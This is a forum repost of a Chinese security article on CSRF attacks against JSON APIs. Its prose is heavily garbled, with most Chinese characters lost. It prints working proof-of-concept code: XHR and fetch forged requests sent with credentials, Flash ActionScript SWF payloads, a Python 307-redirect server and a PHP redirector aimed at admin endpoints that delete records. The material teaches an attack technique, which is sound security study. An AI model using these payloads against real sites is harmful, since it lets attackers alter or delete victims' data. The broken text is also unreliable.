[14281] 2019-06-27_谈谈Json格式下的CSRF攻击

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-06-27_谈谈Json格式下的CSRF攻击 J s o n C S R F s h y s t a r t r e e   F r e e B u f   2 0 1 9 - 0 6 - 2 7 C S R F c s r f c o o k i e 退 访 退 访 c s r f c s r f p o s t a c c o u n t s = t e s t & p a s s w o r d = a a a c s r f j s o n c s r f 使 P o C J S O N C S R F 1 P O S T b o d y J S O N H T M L 2 C o n t e n t - T y p e a p p l i c a t i o n / j s o n H e a d e r 使 X M L H t t p R e q u e s t s O P T I O N S 1 . 1   1 2 r e f e r e r 3 t o k e n C S R F 使 T o k e n A n t i   C S R F   T o k e n T o k e n T o k e n T o k e n C S R F 使 T o k e n T o k e n G E T P O S T f o r m A J A X T o k e n 访 T o k e n S e s s i o n C o o k i e T o k e n T o k e n S e s s i o n C o o k i e s T o k e n   4 )   使 a j a x t o k e n   c o o k i e     S a m e S i t e     c o o k i e     c o o k i e     c o o k i e   c o o k i e   c o o k i e     c o o k i e   t o k e n     R e f e r e r   S a m e S t i e   S t r i c t     L a x : S a m e S i t e = S t r i c t   使   S a m e S i t e = S t r i c t     c o o k i e     c o o k i e S a m e S i t e = L a x   使   S a m e S i t e = L a x     c o o k i e       f o r m     c o o k i e S t r i c t L a x 使   c o o k i e     S t r i c t   c o o k i e     L a x   广 i f r a m e j s o n p     S t r i c t     L a x C O N T E N T - T Y P E C o n t e n t - T y p e C o n t e n t - T y p e a p p l i c a t i o n / j s o n 使 X H R c s r f p o c < h t m l >   < h e a d >   < s c r i p t   s t y l e = " t e x t / j a v a s c r i p t " >             f u n c t i o n   s u b m i t R e q u e s t ( ) {                 v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;                 x h r . o p e n ( " P O S T " ,   " h t t p : / / v i c t i m . c o m / c a r r i e r a d m i n / a d m i n / p r i c e S h e e t / p r i c e S h e e t / s a v e P r i c e S h e e t . d o " ,   t r u e ) ;                 x h r . s e t R e q u e s t H e a d e r ( " A c c e p t " ,   " a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * " ) ;                 x h r . s e t R e q u e s t H e a d e r ( " A c c e p t - L a n g u a g e " ,   " z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 " ) ;                 x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 " ) ;                 x h r . w i t h C r e d e n t i a l s   =   t r u e ;                 x h r . s e n d ( J S O N . s t r i n g i f y ( { " s e r i a l N u m b e r " : " C Y S 1 8 1 1 2 9 1 8 9 9 " , " t y p e " : 2 , " t e m p " : 1 , " e n a b l e T i m e " : " 2 0 1 8 - 1 1 - 0 1   0 0 : 0 0 : 0 0 " , " d i s a b l e T i m e " : " 2 0 1 8 - 1 1 - 2 9   1 2 : 0 0 : 0 0 " , " n a m e " : " 1 " , " s u p p l i e r C o d e "         } < / s c r i p t >   < / h e a d >     < b o d y >         < f o r m   a c t i o n = " # " >             < i n p u t   t y p e = " b u t t o n "   v a l u e = " S u b m i t   r e q u e s t "   o n C l i c k = " s u b m i t R e q u e s t ( ) " / >         < / f o r m >     < / b o d y > < / h t m l >
C O N T E N T - T Y P E 使 X M L H t t p R e q u e s t f e t c h J S O N C o n t e n t - T y p e f e t c h F l a s h 3 0 7 h t t p 3 0 7 3 X X   H T T P H T T P   3 0 7 H T T P   3 0 7 P O S T   b o d y H T T P U R L 3 . 1   f l a s h W e b c s r f . s w f F l e x S D K A c t i o n S c r i p t s w f F l e x 3 2 J V M 3 2 J D K A c t i o n S c r i p t t e x t c s r f . a s F l a s h I P / m x m l c   c s r f . a s c s r f . s w f 3 . 2   w e b 1 使 p y t h o n ( ) a s G i t H u b j s o n - f l a s h - c s r f - p o c p y t h o n   w e b p y s e r v e r . p y : < h t m l > < t i t l e > J S O N   C S R F   P O C < / t i t l e > < s c r i p t >         f e t c h ( ' h t t p : / / v i c t i m . c o m / v u l . p a g e ' ,   { m e t h o d :   ' P O S T ' ,   c r e d e n t i a l s :   ' i n c l u d e ' ,   h e a d e r s :   { ' C o n t e n t - T y p e ' :   ' t e x t / p l a i n ' } ,   b o d y :   ' { " n a m e " : " a t t a c k e r " , " e m a i l " : " a t t a c k e r . c o m " } ' } ) ; < / s c r i p t > < / f o r m > < / h t m l > p a c k a g e {     i m p o r t   f l a s h . d i s p l a y . S p r i t e ;     i m p o r t   f l a s h . n e t . U R L L o a d e r ;     i m p o r t   f l a s h . n e t . U R L R e q u e s t ;     i m p o r t   f l a s h . n e t . U R L R e q u e s t H e a d e r ;     i m p o r t   f l a s h . n e t . U R L R e q u e s t M e t h o d ;     p u b l i c   c l a s s   c s r f   e x t e n d s   S p r i t e {         p u b l i c   f u n c t i o n   c s r f ( ) {             s u p e r ( ) ;             v a r   m e m b e r 1 : O b j e c t   =   n u l l ;             v a r   m y J s o n : S t r i n g   =   n u l l ;             m e m b e r 1   =   n e w   O b j e c t ( ) ;             m e m b e r 1   = { " i d " : 1 0 2 } ;             v a r   m y D a t a : O b j e c t   =   m e m b e r 1 ;             m y J s o n   =   J S O N . s t r i n g i f y ( m y D a t a ) ;             m y J s o n   =   J S O N . s t r i n g i f y ( m y D a t a ) ;             v a r   u r l : S t r i n g   =   " h t t p : / / 1 7 2 . 1 6 . 1 1 . 1 1 0 : 8 0 0 0 / " ;             v a r   r e q u e s t : U R L R e q u e s t   =   n e w   U R L R e q u e s t ( u r l ) ;             r e q u e s t . r e q u e s t H e a d e r s . p u s h ( n e w   U R L R e q u e s t H e a d e r ( " C o n t e n t - T y p e " , " a p p l i c a t i o n / j s o n " ) ) ;             r e q u e s t . d a t a   =   m y J s o n ;             r e q u e s t . m e t h o d   =   U R L R e q u e s t M e t h o d . P O S T ;             v a r   u r l L o a d e r : U R L L o a d e r   =   n e w   U R L L o a d e r ( ) ;       t r y             {                     u r l L o a d e r . l o a d ( r e q u e s t ) ;                     r e t u r n ;             }             c a t c h ( e : E r r o r )             {                     t r a c e ( e ) ;                     r e t u r n ;             }         }     } } i m p o r t   B a s e H T T P S e r v e r i m p o r t   t i m e i m p o r t   s y s H O S T   =   ' '   P O R T   =   8 0 0 0
2 使 a p a c h e p h p ( ) 使 p h p 3 0 7 G i t H u b s w f _ j s o n _ c s r f c s r f . a s : 3 0 7 . p h p : 使 p o c c l a s s   R e d i r e c t H a n d l e r ( B a s e H T T P S e r v e r . B a s e H T T P R e q u e s t H a n d l e r ) :         d e f   d o _ P O S T ( s ) :               #   d i r ( s )                 i f   s . p a t h   = =   ' / c s r f . s w f ' :                       s . s e n d _ r e s p o n s e ( 2 0 0 )                       s . s e n d _ h e a d e r ( " C o n t e n t - T y p e " , " a p p l i c a t i o n / x - s h o c k w a v e - f l a s h " )                       s . e n d _ h e a d e r s ( )                       s . w f i l e . w r i t e ( o p e n ( " c s r f . s w f " ,   " r b " ) . r e a d ( ) )                       r e t u r n                   s . s e n d _ r e s p o n s e ( 3 0 7 )                 s . s e n d _ h e a d e r ( " L o c a t i o n " ,   " h t t p s : / / v i c t i m - s i t e / u s e r d e l e t e " )                 s . e n d _ h e a d e r s ( )         d e f   d o _ G E T ( s ) :                 p r i n t ( s . p a t h )                 s . d o _ P O S T ( ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         s e r v e r _ c l a s s   =   B a s e H T T P S e r v e r . H T T P S e r v e r         h t t p d   =   s e r v e r _ c l a s s ( ( H O S T ,   P O R T ) ,   R e d i r e c t H a n d l e r )         p r i n t   t i m e . a s c t i m e ( ) ,   " S e r v e r   S t a r t s   -   % s : % s "   %   ( H O S T ,   P O R T )         t r y :                 h t t p d . s e r v e _ f o r e v e r ( )         e x c e p t   K e y b o a r d I n t e r r u p t :                 p a s s         h t t p d . s e r v e r _ c l o s e ( )         p r i n t   t i m e . a s c t i m e ( ) ,   " S e r v e r   S t o p s   -   % s : % s "   %   ( H O S T ,   P O R T ) p a c k a g e {       i m p o r t   f l a s h . d i s p l a y . S p r i t e ;       i m p o r t   f l a s h . n e t . U R L L o a d e r ;       i m p o r t   f l a s h . n e t . U R L R e q u e s t ;       i m p o r t   f l a s h . n e t . U R L R e q u e s t H e a d e r ;       i m p o r t   f l a s h . n e t . U R L R e q u e s t M e t h o d ;       p u b l i c   c l a s s   c s r f   e x t e n d s   S p r i t e {             p u b l i c   f u n c t i o n   c s r f ( ) {                   s u p e r ( ) ;                   v a r   m y J s o n : S t r i n g   =   t h i s . r o o t . l o a d e r I n f o . p a r a m e t e r s . j s o n D a t a ;                   v a r   u r l : S t r i n g   =   t h i s . r o o t . l o a d e r I n f o . p a r a m e t e r s . p h p _ u r l ;                   v a r   e n d p o i n t : S t r i n g   =   t h i s . r o o t . l o a d e r I n f o . p a r a m e t e r s . e n d p o i n t ;                   v a r   c t : S t r i n g   =   ! ! t h i s . r o o t . l o a d e r I n f o . p a r a m e t e r s . c t ? t h i s . r o o t . l o a d e r I n f o . p a r a m e t e r s . c t : " a p p l i c a t i o n / j s o n " ;                   v a r   r e q u e s t : U R L R e q u e s t   =   n e w   U R L R e q u e s t ( u r l   +   " ? e n d p o i n t = "   +   e n d p o i n t ) ;                   r e q u e s t . r e q u e s t H e a d e r s . p u s h ( n e w   U R L R e q u e s t H e a d e r ( " C o n t e n t - T y p e " , c t ) ) ;                   r e q u e s t . d a t a   =   m y J s o n ;                   r e q u e s t . m e t h o d   =   U R L R e q u e s t M e t h o d . P O S T ;                   v a r   u r l L o a d e r : U R L L o a d e r   =   n e w   U R L L o a d e r ( ) ;                   t r y                   {                         u r l L o a d e r . l o a d ( r e q u e s t ) ;                         r e t u r n ;                   }                   c a t c h ( e : E r r o r )                   {                         t r a c e ( e ) ;                         r e t u r n ;                   }             }       } } < ? p h p $ v i c t i m _ u r l   =   $ _ G E T [ ' e n d p o i n t ' ] ; h e a d e r ( " L o c a t i o n :   $ v i c t i m _ u r l " ,   t r u e ,   3 0 7 ) ? > h t t p : / / 1 7 2 . 1 6 . 1 1 . 1 0 2 / c s r f / t e s t . s w f ? j s o n D a t a = { % 2 2 i d % 2 2 : 4 9 } & p h p _ u r l = h t t p : / / 1 7 2 . 1 6 . 1 1 . 1 0 2 / c s r f / t e s t . p h p & e n d p o i n t = h t t p : / / v i c t i m . c o m / c a r r i e r a d m i n / a d m i n / c a r / d e l e t e & c t = a p p l i c a t i o n / j s o n
访 P O C 1 访 P O C a t t a c t e r . c o m s w f s w f 3 0 7 . p h p H T T P   P O S T 2 a t t a c t e r . c o m 3 0 7 . p h p 3 0 7 v i c t i m . c o m 3 0 7 h t t p h e a d e r p o s t d a t a 3 v i c t i m . c o m P O S T C o n t e n t - T y p e a p p l i c a t i o n / j s o n 4 v i c t i m . c o m / c r o s s d o m a i n . x m l v i c t i m . c o m c r o s s d o m a i n . x m l P O S T F l a s h 3 0 7 . p h p 3 0 7 . p h p p o s t c r o s s d o m a i n . x m l A F l a s h B H T T P B c r o s s d o m a i n . x m l x m l C o n t e n t - T y p e R e f e r e r R e f e r e r C S R F F l a s h H e a d e r R e f e r e r A c c e p t - C h a r s e t A c c e p t - E n c o d i n g A c c e p t - R a n g e s A g e A l l o w A l l o w e d A u t h o r i z a t i o n C h a r g e - T o C o n n e c t C o n n e c t i o n C o n t e n t - L e n g t h C o n t e n t - L o c a t i o n C o n t e n t - R a n g e C o o k i e D a t e D e l e t e E T a g E x p e c t G e t H e a d H o s t K e e p - A l i v e L a s t - M o d i f i e d L o c a t i o n M a x - F o r w a r d s O p t i o n s P o s t P r o x y - A u t h e n t i c a t e P r o x y - A u t h o r i z a t i o n P r o x y - C o n n e c t i o n P u b l i c P u t R a n g e R e f e r e r R e q u e s t - R a n g e R e t r y - A f t e r S e r v e r T E T r a c e T r a i l e r T r a n s f e r - E n c o d i n g U p g r a d e U R I U s e r - A g e n t V a r y V i a W a r n i n g W W W - A u t h e n t i c a t e     x - f l a s h - v e r s i o n f l a s h + 3 0 7 2 0 1 8 3 0 7 C o n t e n t - T y p e c s r f j s o n   c s r f E x p l o i t i n g   J S O N   C S R F J S O N C S R F * s h y s t a r t r e e   F r e e B u f  

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则